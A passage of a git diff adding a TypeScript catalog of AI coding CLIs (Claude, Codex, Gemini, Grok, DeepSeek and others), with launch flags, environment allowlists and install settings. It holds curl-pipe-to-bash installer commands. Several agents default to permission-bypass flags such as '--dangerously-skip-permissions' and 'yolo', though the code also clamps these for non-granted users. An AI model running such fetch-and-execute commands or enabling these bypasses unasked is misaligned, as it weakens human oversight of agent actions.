entry.capabilities.privilegedParams.forEach((clamp, i) => { + if (!declaredParams.has(clamp.param)) { + ctx.addIssue({ + code: 'custom', + message: `privilegedParams param "${clamp.param}" is not a declared launch param`, + path: ['capabilities', 'privilegedParams', i, 'param'], + }); + } + }); + + const { setenvProfile } = entry.env; + if (setenvProfile !== undefined && !isKnownSetenvProfile(setenvProfile)) { + ctx.addIssue({ + code: 'custom', + message: `env.setenvProfile "${setenvProfile}" is not a profile this build implements`, + path: ['env', 'setenvProfile'], + }); + } + }); + +export type ValidatedCliEntry = z.infer; diff --git a/src/config/cli-registry/stock.ts b/src/config/cli-registry/stock.ts new file mode 100644 index 00000000..9f613cc1 --- /dev/null +++ b/src/config/cli-registry/stock.ts @@ -0,0 +1,1035 @@ +/** + * @fileoverview The shipped stock catalog — one `CliEntry` per CLI Codeman supports out of + * the box, transcribed to be byte-identical (via the argv engine) to the hand-written + * builders in tmux-manager.ts that they replace. + * + * This is the ONE file allowed to know a CLI's id by name (`test/cli-registry-no-id-branching + * .test.ts` enforces that nowhere else does). Everything downstream — session.ts, + * tmux-manager.ts, the routes, the frontend — reads capability flags, never `entry.id ===`. + * + * @module config/cli-registry/stock + */ + +import type { CliEntry } from './types.js'; + +const HOME_DIRS = { + local: '~/.local/bin', + usrLocal: '/usr/local/bin', + bunBin: '~/.bun/bin', + npmGlobal: '~/.npm-global/bin', + homeBin: '~/bin', +}; + +const NO_GATES = {}; +const NO_PRIVILEGED_PARAMS: CliEntry['capabilities']['privilegedParams'] = []; +/** + * The common case: every CLI whose privileged switch is a command-line FLAG, reachable + * only through its own config object and therefore already covered by `privilegedParams`. + * DeepSeek is the sole exception — its switch is an env var. See CliCapabilities. + */ +const NO_PRIVILEGED_ENV_KEYS: CliEntry['capabilities']['privilegedEnvKeys'] = []; + +/** Shared skeleton for the "agent CLI, no unusual behaviour" case (pi's own shape). */ +function agentDefaults(): Pick< + CliEntry['capabilities'], + | 'external' + | 'requiresMux' + | 'hooks' + | 'transcript' + | 'altScreen' + | 'wheelForward' + | 'keyboardAccessory' + | 'privilegedCommandGate' + | 'startMode' + | 'stripInkBloat' + | 'ralph' + | 'respawn' + | 'effort' + | 'agentSkillInjection' + | 'statusLineTelemetry' + | 'model' + | 'privilegedParams' + | 'privilegedEnvKeys' + | 'gates' +> { + return { + external: true, + requiresMux: true, + hooks: 'none', + transcript: 'none', + altScreen: 'strip-mux-only', + wheelForward: { mode: 'never' }, + keyboardAccessory: 'agent', + privilegedCommandGate: false, + startMode: 'interactive', + stripInkBloat: true, + ralph: false, + respawn: false, + effort: false, + agentSkillInjection: false, + statusLineTelemetry: false, + model: { source: 'flag', param: 'model' }, + privilegedParams: NO_PRIVILEGED_PARAMS, + privilegedEnvKeys: NO_PRIVILEGED_ENV_KEYS, + gates: NO_GATES, + }; +} + +const CLAUDE: CliEntry = { + id: 'claude' as CliEntry['id'], + label: 'Claude', + shortBadge: 'CC', + accent: '#d97757', + enabled: true, + stock: true, + order: 0, + kind: 'agent', + discovery: { + binaries: ['claude'], + searchDirs: [HOME_DIRS.local, '~/.claude/local', HOME_DIRS.usrLocal, HOME_DIRS.npmGlobal, HOME_DIRS.homeBin], + version: { arg: '--version', regex: '(\\d+\\.\\d+\\.\\d+)', retryOnTransientFailure: true }, + install: { + command: { + linux: 'curl -fsSL https://claude.ai/install.sh | bash', + darwin: 'curl -fsSL https://claude.ai/install.sh | bash', + wsl: 'curl -fsSL https://claude.ai/install.sh | bash', + }, + npmPackage: '@anthropic-ai/claude-code', + docsUrl: 'https://docs.claude.com/claude-code', + }, + }, + launch: { + chain: 'fallback', + params: { + claudeMode: { + type: 'enum', + values: ['dangerously-skip-permissions', 'auto', 'normal', 'allowedTools'], + default: 'dangerously-skip-permissions', + }, + allowedTools: { type: 'token', pattern: 'tool-list' }, + model: { type: 'token', pattern: 'model-claude' }, + resumeId: { type: 'token', pattern: 'uuid' }, + // buildEffortCliArgs carries `ultracode` as a settings JSON blob and every other + // level as a plain `--effort ` flag — two engine values because the two + // shapes are mutually exclusive and neither is user-typed text (both are produced + // from the EFFORT_LEVELS allowlist upstream, same as every other engine value). + effortLevel: { type: 'engine', source: 'effortLevel' }, + effortJson: { type: 'engine', source: 'effortSettingsJson' }, + sessionId: { type: 'engine', source: 'sessionId' }, + sessionName: { type: 'engine', source: 'sessionName' }, + }, + variants: [ + { + id: 'resume', + when: { param: 'resumeId', state: 'set' }, + args: [ + { lit: 'claude' }, + { flag: '--dangerously-skip-permissions', when: { param: 'claudeMode', is: 'dangerously-skip-permissions' } }, + { flag: '--permission-mode', value: 'auto', when: { param: 'claudeMode', is: 'auto' } }, + { + flag: '--allowedTools', + valueFrom: 'allowedTools', + quote: 'double', + when: { + allOf: [ + { param: 'claudeMode', is: 'allowedTools' }, + { param: 'allowedTools', state: 'set' }, + ], + }, + }, + { flag: '--resume', valueFrom: 'resumeId', quote: 'double' }, + { flag: '--model', valueFrom: 'model', quote: 'double', when: { param: 'model', state: 'set' } }, + { flag: '--effort', valueFrom: 'effortLevel', quote: 'single', when: { param: 'effortLevel', state: 'set' } }, + { flag: '--settings', valueFrom: 'effortJson', quote: 'single', when: { param: 'effortJson', state: 'set' } }, + { flag: '--name', valueFrom: 'sessionName', quote: 'double', when: { capabilityGate: 'nameFlag' } }, + ], + }, + { + id: 'new', + args: [ + { lit: 'claude' }, + { flag: '--dangerously-skip-permissions', when: { param: 'claudeMode', is: 'dangerously-skip-permissions' } }, + { flag: '--permission-mode', value: 'auto', when: { param: 'claudeMode', is: 'auto' } }, + { + flag: '--allowedTools', + valueFrom: 'allowedTools', + quote: 'double', + when: { + allOf: [ + { param: 'claudeMode', is: 'allowedTools' }, + { param: 'allowedTools', state: 'set' }, + ], + }, + }, + { flag: '--session-id', valueFrom: 'sessionId', quote: 'double' }, + { flag: '--model', valueFrom: 'model', quote: 'double', when: { param: 'model', state: 'set' } }, + { flag: '--effort', valueFrom: 'effortLevel', quote: 'single', when: { param: 'effortLevel', state: 'set' } }, + { flag: '--settings', valueFrom: 'effortJson', quote: 'single', when: { param: 'effortJson', state: 'set' } }, + { flag: '--name', valueFrom: 'sessionName', quote: 'double', when: { capabilityGate: 'nameFlag' } }, + ], + }, + ], + // Claude has no `Config` object of its own — the bridge synthesizes one from its + // discrete top-level spawn fields, under their EXISTING field name `resumeSessionId`. + legacyConfigAliases: { resumeId: 'resumeSessionId' }, + }, + env: { + exports: [], + unset: ['CLAUDECODE', 'COLORTERM'], + tmuxSetenvKeys: [], + dockerExecEnvNames: [], + allowedPrefixes: ['CLAUDE_CODE_'], + allowedKeys: ['CLAUDE_CONFIG_DIR'], + }, + capabilities: { + external: false, + requiresMux: false, + // Claude installs Codeman's own hooks block into every workspace it runs in, so its + // stop/idle signals are unconditional — no per-session veto, unlike deepseek's bridge. + hooks: 'always', + transcript: 'claude-jsonl', + altScreen: 'strip-full', + echo: { policy: 'buffer', anchor: { kind: 'glyph', glyph: '❯', offset: 2 } }, + wheelForward: { mode: 'version-gated', minVersion: '2.1.187' }, + keyboardAccessory: 'agent', + privilegedCommandGate: false, + startMode: 'interactive', + stripInkBloat: true, + ralph: true, + respawn: true, + effort: true, + agentSkillInjection: true, + statusLineTelemetry: true, + model: { source: 'claude-settings-file' }, + privilegedParams: [], + privilegedEnvKeys: [], + gates: { nameFlag: { minVersion: '2.1.224', failClosed: true } }, + }, + overlays: { + // Mirrors the local default so the remote/in-container agent runs non-interactively + // (no trust-folder/permission prompt that nothing on that side can answer). A per-host + // `commands.claude` override, or the docker multi-user clamp, stays the escape hatch. + remote: { command: 'claude --dangerously-skip-permissions' }, + // ⚠️ As root the flag is not merely unnecessary, it is REFUSED ("cannot be used with + // root/sudo privileges"), and only inside the container — so an adopted root container + // would just show a dead pane. Drop it there and let claude ask. + docker: { command: 'claude --dangerously-skip-permissions', rootCommand: 'claude' }, + // Claude's docker/remote credential handling has its own dedicated code path + // (claudeDockerPaneCommand, artifacts at docker-hosts.ts:537-575) — no generic credStore. + }, +}; + +const SHELL: CliEntry = { + id: 'shell' as CliEntry['id'], + label: 'Shell', + shortBadge: 'SH', + accent: '#6b7280', + enabled: true, + stock: true, + order: 1, + kind: 'shell', + discovery: { + binaries: [], + searchDirs: [], + install: { command: {} }, + }, + launch: { + params: {}, + variants: [{ id: 'shell', args: [] }], // tmux-manager resolves the real login shell in code + }, + env: { + exports: [], + unset: ['COLORTERM'], + tmuxSetenvKeys: [], + dockerExecEnvNames: [], + allowedPrefixes: [], + allowedKeys: [], + }, + capabilities: { + external: false, + requiresMux: false, + // ⚠️ `false` here while `external` is ALSO false is the pairing that matters: a shell + // has no hooks but is not an "external CLI", so a predicate derived from `external` + // once accepted `until=stop` on a shell session and hung for the full timeout. + hooks: 'none', + transcript: 'none', + altScreen: 'preserve', + echo: { policy: 'off', anchor: { kind: 'none' } }, + wheelForward: { mode: 'never' }, + keyboardAccessory: 'shell', + privilegedCommandGate: true, + startMode: 'shell', + stripInkBloat: false, + ralph: false, + respawn: false, + effort: false, + agentSkillInjection: false, + statusLineTelemetry: false, + model: { source: 'none' }, + privilegedParams: [], + privilegedEnvKeys: [], + gates: {}, + }, + overlays: { + // No `remote` entry: defaultRemoteCommandForMode special-cases kind==='shell' directly + // (an interactive login shell, no `-c ''` wrapping at all). + docker: { disabled: true }, + }, +}; + +const OPENCODE: CliEntry = { + id: 'opencode' as CliEntry['id'], + label: 'OpenCode', + shortBadge: 'OC', + accent: '#f59e0b', + enabled: true, + stock: true, + order: 10, + kind: 'agent', + discovery: { + binaries: ['opencode'], + searchDirs: [ + '~/.opencode/bin', + HOME_DIRS.local, + HOME_DIRS.usrLocal, + '~/go/bin', + HOME_DIRS.bunBin, + HOME_DIRS.npmGlobal, + HOME_DIRS.homeBin, + ], + version: { arg: '--version', regex: '(\\d+\\.\\d+\\.\\d+)' }, + install: { + command: { + linux: 'curl -fsSL https://opencode.ai/install | bash', + darwin: 'curl -fsSL https://opencode.ai/install | bash', + }, + npmPackage: 'opencode-ai', + docsUrl: 'https://opencode.ai/docs', + }, + }, + launch: { + params: { + model: { type: 'token', pattern: 'model' }, + resumeId: { type: 'token', pattern: 'id' }, + forkSession: { type: 'bool' }, + }, + variants: [ + { + id: 'default', + args: [ + { lit: 'opencode' }, + { flag: '--model', valueFrom: 'model', when: { param: 'model', state: 'set' } }, + { flag: '--session', valueFrom: 'resumeId', when: { param: 'resumeId', state: 'set' } }, + { + flag: '--fork', + when: { + allOf: [ + { param: 'resumeId', state: 'set' }, + { param: 'forkSession', is: true }, + ], + }, + }, + ], + }, + ], + legacyConfigAliases: { resumeId: 'continueSession' }, + legacyConfigField: 'openCodeConfig', + }, + env: { + exports: [], + unset: ['COLORTERM'], + tmuxSetenvKeys: ['ANTHROPIC_API_KEY', 'OPENAI_API_KEY', 'GOOGLE_API_KEY'], + dockerExecEnvNames: [], + allowedPrefixes: ['OPENCODE_'], + allowedKeys: [], + configContentVar: 'OPENCODE_CONFIG_CONTENT', + }, + capabilities: { + ...agentDefaults(), + altScreen: 'strip-mux-only', + echo: { policy: 'buffer', anchor: { kind: 'cursor' }, predictProfile: undefined }, + }, + overlays: { + credStore: { rel: '.config/opencode', seedWhole: true }, + }, +}; + +const CODEX: CliEntry = { + id: 'codex' as CliEntry['id'], + label: 'Codex', + shortBadge: 'CX', + accent: '#6b7fd7', + enabled: true, + stock: true, + order: 20, + kind: 'agent', + discovery: { + binaries: ['codex'], + searchDirs: [ + '~/.codex/bin', + HOME_DIRS.local, + HOME_DIRS.usrLocal, + HOME_DIRS.bunBin, + HOME_DIRS.npmGlobal, + HOME_DIRS.homeBin, + ], + version: { arg: '--version', regex: '(\\d+\\.\\d+\\.\\d+)' }, + install: { + command: { linux: 'npm install -g @openai/codex', darwin: 'npm install -g @openai/codex' }, + npmPackage: '@openai/codex', + docsUrl: 'https://developers.openai.com/codex/cli', + }, + }, + launch: { + params: { + bypassApprovals: { type: 'bool' }, + animations: { type: 'bool' }, + model: { type: 'token', pattern: 'model' }, + resumeId: { type: 'token', pattern: 'id' }, + }, + variants: [ + { + id: 'default', + args: [ + { lit: 'codex' }, + { flag: '--dangerously-bypass-approvals-and-sandbox', when: { param: 'bypassApprovals', is: true } }, + { flag: '--config', value: 'tui.animations=true', when: { param: 'animations', is: true } }, + { flag: '--config', value: 'tui.animations=false', when: { param: 'animations', is: false } }, + { flag: '--model', valueFrom: 'model', when: { param: 'model', state: 'set' } }, + { lit: 'resume', when: { param: 'resumeId', state: 'set' } }, + { valueFrom: 'resumeId', when: { param: 'resumeId', state: 'set' } }, + ], + }, + ], + legacyConfigAliases: { bypassApprovals: 'dangerouslyBypassApprovals', resumeId: 'resumeSessionId' }, + legacyConfigField: 'codexConfig', + resumeAppend: { style: 'positional', token: 'resume' }, + }, + env: { + exports: [ + { name: 'COLORTERM', value: 'truecolor' }, + { name: 'CODEX_INTERNAL_ORIGINATOR_OVERRIDE', value: { engine: 'codemanPrefixedSessionId' } }, + ], + unset: ['NO_COLOR'], + tmuxSetenvKeys: ['OPENAI_API_KEY', 'CODEX_API_KEY', 'CODEX_HOME'], + dockerExecEnvNames: ['OPENAI_API_KEY', 'CODEX_API_KEY'], + allowedPrefixes: ['CODEX_'], + allowedKeys: [], + }, + capabilities: { + ...agentDefaults(), + transcript: 'codex-rollout', + altScreen: 'strip-full', + echo: { policy: 'predict', anchor: { kind: 'cursor' }, predictProfile: 'codex' }, + wheelForward: { mode: 'never' }, // #227: codex ignores SGR wheel reports, never forward + maxFrameBytes: 32 * 1024, + // codex's own bare-spawn default (no config sent) is already safe (no bypass flag), so + // the multi-user clamp only needs to force an EXPLICITLY-SENT bypass back off. + // + // `param` names the REGISTRY param, like every other `param` in this file — the clamp + // resolves it through `legacyConfigAliases` on the way out, exactly as `configSetenv` + // does. codex is the entry where the two names differ (`bypassApprovals` here, + // `dangerouslyBypassApprovals` on the wire), so it is the one that would have caught a + // regression; `schema.ts` now rejects a name that is not a declared param. + privilegedParams: [{ param: 'bypassApprovals', clampTo: false }], + }, + overlays: { + credStore: { + rel: '.codex', + shareDirs: ['sessions'], + shareFiles: ['history.jsonl'], + seedFiles: ['auth.json', 'config.toml'], + }, + }, +}; + +const GEMINI: CliEntry = { + id: 'gemini' as CliEntry['id'], + label: 'Gemini', + shortBadge: 'GM', + accent: '#4285f4', + enabled: true, + stock: true, + order: 30, + kind: 'agent', + discovery: { + binaries: ['gemini'], + searchDirs: [ + '~/.gemini/bin', + HOME_DIRS.local, + HOME_DIRS.usrLocal, + HOME_DIRS.bunBin, + HOME_DIRS.npmGlobal, + HOME_DIRS.homeBin, + ], + version: { arg: '--version', regex: '(\\d+\\.\\d+\\.\\d+)' }, + install: { + command: { linux: 'npm install -g @google/gemini-cli', darwin: 'npm install -g @google/gemini-cli' }, + npmPackage: '@google/gemini-cli', + docsUrl: 'https://github.com/google-gemini/gemini-cli', + }, + }, + launch: { + params: { + approvalMode: { type: 'enum', values: ['default', 'auto_edit', 'yolo', 'plan'], default: 'yolo' }, + model: { type: 'token', pattern: 'model' }, + resumeId: { type: 'token', pattern: 'id-dotted' }, + }, + variants: [ + { + id: 'default', + args: [ + { lit: 'gemini' }, + { flag: '--skip-trust' }, + { flag: '--approval-mode', valueFrom: 'approvalMode' }, + { flag: '--model', valueFrom: 'model', when: { param: 'model', state: 'set' } }, + { flag: '--resume', valueFrom: 'resumeId', when: { param: 'resumeId', state: 'set' } }, + ], + }, + ], + legacyConfigAliases: { resumeId: 'resumeSession' }, + legacyConfigField: 'geminiConfig', + resumeAppend: { style: 'flag', flag: '--resume' }, + }, + env: { + exports: [{ name: 'COLORTERM', value: 'truecolor' }], + unset: ['NO_COLOR'], + tmuxSetenvKeys: [ + 'GEMINI_API_KEY', + 'GEMINI_MODEL', + 'GOOGLE_API_KEY', + 'GOOGLE_CLOUD_PROJECT', + 'GOOGLE_CLOUD_LOCATION', + 'GOOGLE_APPLICATION_CREDENTIALS', + 'GOOGLE_GENAI_USE_VERTEXAI', + ], + dockerExecEnvNames: ['GEMINI_API_KEY', 'GOOGLE_API_KEY'], + allowedPrefixes: ['GEMINI_', 'GOOGLE_'], + allowedKeys: [], + }, + capabilities: { + ...agentDefaults(), + altScreen: 'strip-full', + echo: { policy: 'buffer', anchor: { kind: 'cursor' } }, + // gemini's builder defaults an ABSENT approvalMode to 'yolo', so the clamp must + // MATERIALIZE a config (not just touch an already-sent one) or a non-granted owner who + // sends no geminiConfig at all would still get yolo for free. + privilegedParams: [{ param: 'approvalMode', clampTo: 'auto_edit', materializeWhenAbsent: true }], + }, + overlays: { + credStore: { rel: '.gemini', seedWhole: true }, // also covers antigravity — see its own entry + }, +}; + +const ANTIGRAVITY: CliEntry = { + id: 'antigravity' as CliEntry['id'], + label: 'Antigravity', + shortBadge: 'AG', + accent: '#8b5cf6', + enabled: true, + stock: true, + order: 40, + kind: 'agent', + discovery: { + // Binary is `agy`, NOT `antigravity` — the mode-name/binary-name split that made + // probeDockerCliVersion wrong before this registry existed. + binaries: ['agy'], + searchDirs: [HOME_DIRS.local, '~/.antigravity/bin', HOME_DIRS.usrLocal, HOME_DIRS.homeBin], + version: { arg: '--version', regex: '(\\d+\\.\\d+\\.\\d+)' }, + install: { + command: { + linux: 'curl -fsSL https://antigravity.google/cli/install.sh | bash', + darwin: 'curl -fsSL https://antigravity.google/cli/install.sh | bash', + }, + docsUrl: 'https://antigravity.google/cli', + }, + }, + launch: { + params: { + dangerouslySkipPermissions: { type: 'bool' }, + model: { type: 'token', pattern: 'model' }, + resumeId: { type: 'token', pattern: 'id-dotted' }, + }, + variants: [ + { + id: 'default', + args: [ + { lit: 'agy' }, + { flag: '--dangerously-skip-permissions', when: { param: 'dangerouslySkipPermissions', is: true } }, + { flag: '--model', valueFrom: 'model', when: { param: 'model', state: 'set' } }, + { flag: '--conversation', valueFrom: 'resumeId', when: { param: 'resumeId', state: 'set' } }, + ], + }, + ], + legacyConfigAliases: { resumeId: 'resumeConversationId' }, + legacyConfigField: 'antigravityConfig', + resumeAppend: { style: 'flag', flag: '--conversation' }, + }, + env: { + exports: [{ name: 'COLORTERM', value: 'truecolor' }], + unset: ['NO_COLOR'], + tmuxSetenvKeys: [], + dockerExecEnvNames: [], + allowedPrefixes: ['ANTIGRAVITY_'], + allowedKeys: [], + }, + capabilities: { + ...agentDefaults(), + altScreen: 'strip-mux-only', + echo: { policy: 'buffer', anchor: { kind: 'cursor' } }, + // Like codex: an ABSENT config already defaults safe (no bypass flag), so only a + // SENT config needs the flag forced off — nothing is materialized. + privilegedParams: [{ param: 'dangerouslySkipPermissions', clampTo: false }], + }, + overlays: { + // No credStore of its own: agy nests its whole state under ~/.gemini/antigravity-cli/, + // which gemini's seedWhole entry already covers. + }, +}; + +const PI: CliEntry = { + id: 'pi' as CliEntry['id'], + label: 'Pi', + shortBadge: 'PI', + accent: '#10b981', + enabled: true, + stock: true, + order: 50, + kind: 'agent', + discovery: { + binaries: ['pi'], + searchDirs: [HOME_DIRS.local, HOME_DIRS.usrLocal, HOME_DIRS.bunBin, HOME_DIRS.npmGlobal, HOME_DIRS.homeBin], + // pi is a generic binary name (Raspberry Pi tooling, personal scripts), so a `which` + // hit alone is not evidence of the right program — require the version match. + version: { arg: '--version', regex: '(?:^|\\s)(\\d+\\.\\d+\\.\\d+)', requireVersionMatch: true }, + install: { + command: { + linux: 'npm install -g --ignore-scripts @earendil-works/pi-coding-agent', + darwin: 'npm install -g --ignore-scripts @earendil-works/pi-coding-agent', + }, + npmPackage: '@earendil-works/pi-coding-agent', + docsUrl: 'https://pi.dev', + }, + }, + launch: { + params: { + approveProjectTrust: { type: 'bool' }, + model: { type: 'token', pattern: 'model-pi' }, + provider: { type: 'token', pattern: 'slug' }, + thinking: { type: 'enum', values: ['off', 'minimal', 'low', 'medium', 'high', 'xhigh', 'max'] }, + resumeId: { type: 'token', pattern: 'id-dotted' }, + continueSession: { type: 'bool' }, + }, + variants: [ + { + id: 'default', + args: [ + { lit: 'pi' }, + { flag: '--approve', when: { param: 'approveProjectTrust', is: true } }, + { flag: '--no-approve', when: { param: 'approveProjectTrust', is: false } }, + { flag: '--model', valueFrom: 'model', when: { param: 'model', state: 'set' } }, + { flag: '--provider', valueFrom: 'provider', when: { param: 'provider', state: 'set' } }, + { flag: '--thinking', valueFrom: 'thinking', when: { param: 'thinking', state: 'set' } }, + { flag: '--session', valueFrom: 'resumeId', when: { param: 'resumeId', state: 'set' } }, + { + lit: '-c', + when: { + allOf: [ + { param: 'continueSession', is: true }, + { param: 'resumeId', state: 'unset' }, + ], + }, + }, + ], + }, + ], + legacyConfigAliases: { resumeId: 'resumeSessionId' }, + legacyConfigField: 'piConfig', + resumeAppend: { style: 'flag', flag: '--session' }, + }, + env: { + exports: [{ name: 'COLORTERM', value: 'truecolor' }], + unset: ['NO_COLOR'], + // Pi's ~34 provider keys share no common prefix, so they are deliberately NOT + // allowlisted here — same reasoning as today's PI_ only prefix. Pi users authenticate + // via `/login` or the server process's own env. + tmuxSetenvKeys: [], + dockerExecEnvNames: [], + allowedPrefixes: ['PI_'], + allowedKeys: [], + }, + capabilities: { + ...agentDefaults(), + altScreen: 'preserve', // pi's TUI renders into the main screen with terminal-owned scrollback + echo: { policy: 'buffer', anchor: { kind: 'cursor' } }, + // pi's absent-config default is an interactive trust PROMPT the session user could + // just answer "yes" to, so omitting --approve is not itself a clamp — MATERIALIZE + // approveProjectTrust:false so buildPiCommand emits --no-approve outright. + privilegedParams: [{ param: 'approveProjectTrust', clampTo: false, materializeWhenAbsent: true }], + }, + overlays: { + credStore: { + rel: '.pi/agent', + seedFiles: ['auth.json', 'settings.json', 'trust.json', 'models.json', 'models-store.json'], + }, + }, +}; + +// Grok Build (xAI, `grok`). Transcribed from the hand-written buildGrokCommand into +// registry data; enabled by default, like every other shipped mode. +const GROK: CliEntry = { + id: 'grok' as CliEntry['id'], + label: 'Grok', + shortBadge: 'GK', + // Upstream hand-authored a charcoal GRADIENT across 4+ CSS spots (welcome button, tab + // badge, run-mode dot, mobile skin overrides) rather than one flat colour; our registry's + // `accent` is a single hex, so this is the closest single value (the run-mode-dot colour, + // zinc-400). Nothing reads `accent` yet — the frontend is untouched in this change and + // keeps its own hand-authored CSS; the field is here so the entry is complete. + accent: '#a1a1aa', + enabled: true, + stock: true, + order: 70, + kind: 'agent', + discovery: { + binaries: ['grok'], + searchDirs: ['~/.grok/bin', HOME_DIRS.local, HOME_DIRS.usrLocal, HOME_DIRS.homeBin], + // `grok` has a known npm squatter (@vibe-kit/grok-cli also installs a `grok` bin), so a + // bare `which grok` hit is not evidence of the right program — same defence as pi, + // byte-identical regex. + version: { arg: '--version', regex: '(?:^|\\s)(\\d+\\.\\d+\\.\\d+)', requireVersionMatch: true }, + install: { + command: { + linux: 'curl -fsSL https://x.ai/cli/install.sh | bash', + darwin: 'curl -fsSL https://x.ai/cli/install.sh | bash', + }, + // Not on npm — xAI ships a standalone installer/binary, same shape as Antigravity. + docsUrl: 'https://github.com/xai-org/grok-build', + }, + }, + launch: { + params: { + alwaysApprove: { type: 'bool' }, + model: { type: 'token', pattern: 'model' }, + resumeId: { type: 'token', pattern: 'id-dotted' }, + continueSession: { type: 'bool' }, + }, + variants: [ + { + id: 'default', + args: [ + { lit: 'grok' }, + { flag: '--always-approve', when: { param: 'alwaysApprove', is: true } }, + { flag: '--model', valueFrom: 'model', when: { param: 'model', state: 'set' } }, + { flag: '--resume', valueFrom: 'resumeId', when: { param: 'resumeId', state: 'set' } }, + { + lit: '--continue', + when: { + allOf: [ + { param: 'continueSession', is: true }, + { param: 'resumeId', state: 'unset' }, + ], + }, + }, + ], + }, + ], + legacyConfigAliases: { resumeId: 'resumeSessionId' }, + legacyConfigField: 'grokConfig', + resumeAppend: { style: 'flag', flag: '--resume' }, + }, + env: { + exports: [{ name: 'COLORTERM', value: 'truecolor' }], + unset: ['NO_COLOR'], + // No tmuxSetenvKeys: XAI_API_KEY (xAI's documented headless auth var) is covered by the + // XAI_ prefix allowlist below, same "rely on the prefix, not an explicit key list" + // reasoning as pi's ~34 provider keys. + tmuxSetenvKeys: [], + dockerExecEnvNames: [], + allowedPrefixes: ['GROK_', 'XAI_'], + allowedKeys: [], + }, + capabilities: { + ...agentDefaults(), + // Fullscreen alt-screen TUI with mouse support — same shape as opencode/antigravity: + // only the tmux-attach-time smcup strip, not Ink's full erase-scrollback+DECSET strip. + altScreen: 'strip-mux-only', + // Buffer-policy fallthrough default, unmeasured against an authenticated grok composer + // (the existing hedge, preserved verbatim) — same as gemini/antigravity/pi. + echo: { policy: 'buffer', anchor: { kind: 'cursor' } }, + // codex/antigravity-shaped clamp: grok's own bare-spawn default (no config sent) is + // already its safe interactive ask-mode, so the multi-user clamp only needs to force an + // EXPLICITLY-SENT bypass flag back off — nothing is materialized when config is absent. + privilegedParams: [{ param: 'alwaysApprove', clampTo: false }], + }, + overlays: { + // ~/.grok also holds sessions/, memory/, downloads/ (the ~160MB binary), completions/, + // docs/, bin/ — per-file seeding like pi's credStore, not a whole-dir seedWhole copy. + credStore: { rel: '.grok', seedFiles: ['auth.json', 'config.toml', 'pager.toml'] }, + // No remote/docker overlay needed: the defaults (exec grok / login-shell `grok`) are + // already correct — verified against upstream's own pinned test/grok-mode.test.ts + // expectation `exec "${SHELL:-/bin/sh}" -i -l -c 'grok'`. + }, +}; + +// DeepSeek Harness (`dsh`, deepseek-ai/deepseek-harness). The awkward one, and worth +// reading before assuming it looks like its siblings — it breaks four of this catalog's +// normal assumptions at once, which is why the schema carries four extensions for it: +// +// 1. `dsh` is a PROFILE LAUNCHER, not the agent. It boots $DSH_HOME/profiles/, and +// DeepSeek ships only `web`/`headless`/`base`, none of which can drive a terminal +// pane — so the terminal front door is ALWAYS third-party and "installed" is not +// "runnable". Hence `discovery.launcherProfile`. +// 2. Its permission switch is the `DSH_PERMISSION_MODE` ENV VAR, not a flag — the +// harness has none. Hence `env.configSetenv` (so the ordinary privilegedParams clamp +// still reaches it) plus `capabilities.privilegedEnvKeys` (so an envOverrides send +// cannot hand the privilege straight back). +// 3. It is the only non-claude mode with real hook signals, and for it alone that is a +// per-SESSION question. Hence `hooks: 'supervised'`. +// 4. Its transcript is zstd session files, one frame per write. Hence +// `transcript: 'deepseek-zstd'`. +// +// The identity probe is the strictest in the catalog for a sharper reason than pi's or +// grok's npm squatters: Debian ships an unrelated `dsh` (dancer's shell, `apt install +// dsh`) that would pass a version probe perfectly happily. +const DEEPSEEK: CliEntry = { + id: 'deepseek' as CliEntry['id'], + label: 'DeepSeek', + shortBadge: 'DS', + accent: '#4d6bfe', + enabled: true, + stock: true, + order: 80, + kind: 'agent', + discovery: { + binaries: ['dsh'], + searchDirs: [HOME_DIRS.local, HOME_DIRS.usrLocal, HOME_DIRS.npmGlobal, HOME_DIRS.homeBin], + // Checked BEFORE the version probe: dancer's shell answers --version happily, so a + // version match alone would accept it. + identity: { arg: '--help', regex: 'DeepSeek\\s+Harness' }, + // Keeps the `-rc.2` prerelease tail — dsh ships them, and the `codeman doctor` row + // shares this regex so the two cannot disagree about what version a binary reports. + version: { + arg: '--version', + regex: '(?:^|\\s)v?(\\d+\\.\\d+\\.\\d+(?:-[0-9A-Za-z][0-9A-Za-z.-]*)?)', + requireVersionMatch: true, + }, + launcherProfile: 'deepseek-profile', + launcherTargetParam: 'profile', + install: { + command: { + linux: 'npm install -g @deepseek-ai/dsh', + darwin: 'npm install -g @deepseek-ai/dsh', + }, + npmPackage: '@deepseek-ai/dsh', + docsUrl: 'https://github.com/deepseek-ai/deepseek-harness', + }, + }, + launch: { + params: { + // A single path segment: interpolated into the shell line AND joined into a + // filesystem path, so `path-segment` rather than the looser `id-dotted`. + profile: { type: 'token', pattern: 'path-segment' }, + // Resolved at spawn time from what is actually installed — see launcherProfile. + defaultProfile: { type: 'engine', source: 'launcherDefaultTarget' }, + resumeId: { type: 'token', pattern: 'id-dotted' }, + resumeSession: { type: 'bool' }, + // Never appears in argv. Declared so `configSetenv` can export it and, more to the + // point, so `privilegedParams` can clamp it — see capabilities below. + permissionMode: { type: 'enum', values: ['read-only', 'workspace-write', 'danger-full-access'] }, + // Never appears in argv either; read by the status-bridge setenv profile. + statusReporting: { type: 'bool' }, + }, + variants: [ + { + id: 'default', + args: [ + { lit: 'dsh' }, + { flag: '--profile', valueFrom: 'profile', when: { param: 'profile', state: 'set' } }, + // An invalid profile name resolves to undefined, so `profile` reads as UNSET and + // this arm takes over — reproducing the hand-written builder's fall back to the + // resolved default rather than failing the spawn outright. + { + flag: '--profile', + valueFrom: 'defaultProfile', + when: { + allOf: [ + { param: 'profile', state: 'unset' }, + { param: 'defaultProfile', state: 'set' }, + ], + }, + }, + // The launcher forwards everything after its own flags to the profile's app, + // which is where --resume is understood. An explicit id wins over the + // most-recent-session form, mirroring the sibling builders. + { flag: '--resume', valueFrom: 'resumeId', when: { param: 'resumeId', state: 'set' } }, + { + flag: '--resume', + when: { + allOf: [ + { param: 'resumeId', state: 'unset' }, + { param: 'resumeSession', is: true }, + ], + }, + }, + ], + }, + ], + legacyConfigAliases: { resumeId: 'resumeSessionId' }, + legacyConfigField: 'deepSeekConfig', + resumeAppend: { style: 'flag', flag: '--resume' }, + }, + env: { + exports: [{ name: 'COLORTERM', value: 'truecolor' }], + unset: ['NO_COLOR'], + // DEEPSEEK_BASE_URL is forwarded from the SERVER's own env alongside the API key, + // which is exactly why a non-granted owner may not override it — see privilegedEnvKeys. + tmuxSetenvKeys: ['DEEPSEEK_API_KEY', 'DEEPSEEK_BASE_URL', 'DSH_HOME'], + dockerExecEnvNames: [], + configSetenv: [{ name: 'DSH_PERMISSION_MODE', fromParam: 'permissionMode' }], + 